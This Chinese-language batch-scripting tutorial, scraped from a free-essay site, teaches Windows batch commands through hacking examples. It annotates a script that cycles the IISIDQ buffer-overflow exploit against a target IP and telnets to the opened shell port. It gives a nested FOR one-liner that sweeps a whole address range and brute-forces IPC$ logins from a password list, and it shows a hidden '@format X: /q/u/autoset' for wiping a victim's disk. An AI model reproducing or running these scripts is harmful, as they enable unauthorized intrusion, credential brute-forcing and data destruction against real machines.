if errorlevel 1 goto error1 /*同例一
set b=%1 /*创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ip
set a=0 /*创建一个环境变量a并指定环境变量a为0。由于使用整个批处理的循环所以用a来做计数器。
:no /*no段开始
if %a%==0 set d=0 /*如果环境变量a=0则创建环境变量d设定环境变量d=0。 if %a%==1 set d=1 /*环境变量d其实是操作系统类型代码,用计数器来控制其 if %a%==2 set d=2 /*变动。 if %a%==3 set d=3 if %a%==4 set d=4 if %a%==5 set d=5 if %a%==6 set d=6 if %a%==7 set d=7 if %a%==9 set d=9 if %a%==10 set d=13 if %a%==11 set d=14
goto 0 /*变量传递完成后转到标志0处运行 :1
echo 正在执行第%d%项!与目标%b%不能连接!正在尝试连接请等候...... :0 /*标志0开始
IISIDQ %d% %b% 80 1 99 |find \按格式发送溢出命令并在结果中发现字符串good(发送代码成功才会有字符串good)
if errorlevel 1 goto 1 /*如果没有good字符串则没有发送成跳 /*转标志1处继续尝试发送
ping 127.0.0.1 -n 8 >nul /*ping自己8次相当于延时8秒不显示执 /*行结果
echo 正在执行第%d%项! /*报告正在溢出的操作系统类型 telnet %b% 99 /*连接溢出端口 echo. /*显示一个空行
if %d%==14 goto error1 /*如果操作系统类型为14则跳转error1处(循环出口) if %d%==13 set a=11 /*开始用计数器对操作系统代码重新附值 if %d%==9 set a=10 if %d%==7 set a=9 if %d%==6 set a=7 if %d%==5 set a=6 if %d%==4 set a=5 if %d%==3 set a=4 if %d%==2 set a=3 if %d%==1 set a=2 if %d%==0 set a=1
goto no /*附值完成跳转no段执行 :file /*以下都是出错后的帮助提示 echo IIsidq.exe没有发现!将该文件和本文件放在同一目录!
goto exit :error
echo 错误!目标ip不可识别!请使用下面的格式连接! echo idq [目标IP] goto exit :error1
echo 连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至! echo 请按照下面的格式手工尝试!
echo iisidq [目标类型] [目标IP] [目标端口] [连接方式] [溢出端口] echo telnet [目标ip] [溢出端口] :exit /*整个程序的出口
这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。 例三
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f \(userpass.txt) do net use \\\\%1.%%a.%%b.%%c\\ipc$ %%e /u:%%f
上面的命令为1条命令。大家可以看出该命令使用了4个FOR来套用的。用法为:C:\\>TEST.BAT 218 当输入218回车后该命令会由第1个for取初始值0为%%a然后继续取第2个for的初始值0为%%b继续取第3个for的初始值1为%%c最后一个for是将userpass.txt中的第一段字符作为密码%%e第二段字符作为用户名%%f最后执行命令 (这里我把上面的值都带进去,设密码为123 用户名为 abc) net usr \\\\218.0.0.1\\ipc$ 123 /u:abc
批处理命令2008-03-25 23:191.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法
echo [{on|off}] [message]
Sample:echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。 语法:goto label (label是参数,指定所要转向的批处理程序中的行。) Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage :noparms
echo Usage: monitor.bat ServerIP PortNumber goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。 Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息: Press any key to continue . . . Sample: @echo off :begin
copy a:*.* d:\\back
echo Please put a new disk into driver A pause goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键
继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。 语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。 入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序 HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。 8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234??
如: choice /c:dme defrag,mem,end 将显示
defrag,mem,end[D,M,E]? Sample:
Sample.bat的内容如下: @echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码) if errorlevel 2 goto mem if errotlevel 1 goto end
:defrag
c:\\dos\\defrag goto end :mem mem goto end :end
百度搜索“77cn”或“免费范文网”即可找到本站免费阅读全部范文。收藏本站方便下次阅读,免费范文网,提供经典小说综合文库bat批处理命令大全1(3)在线全文阅读。
相关推荐: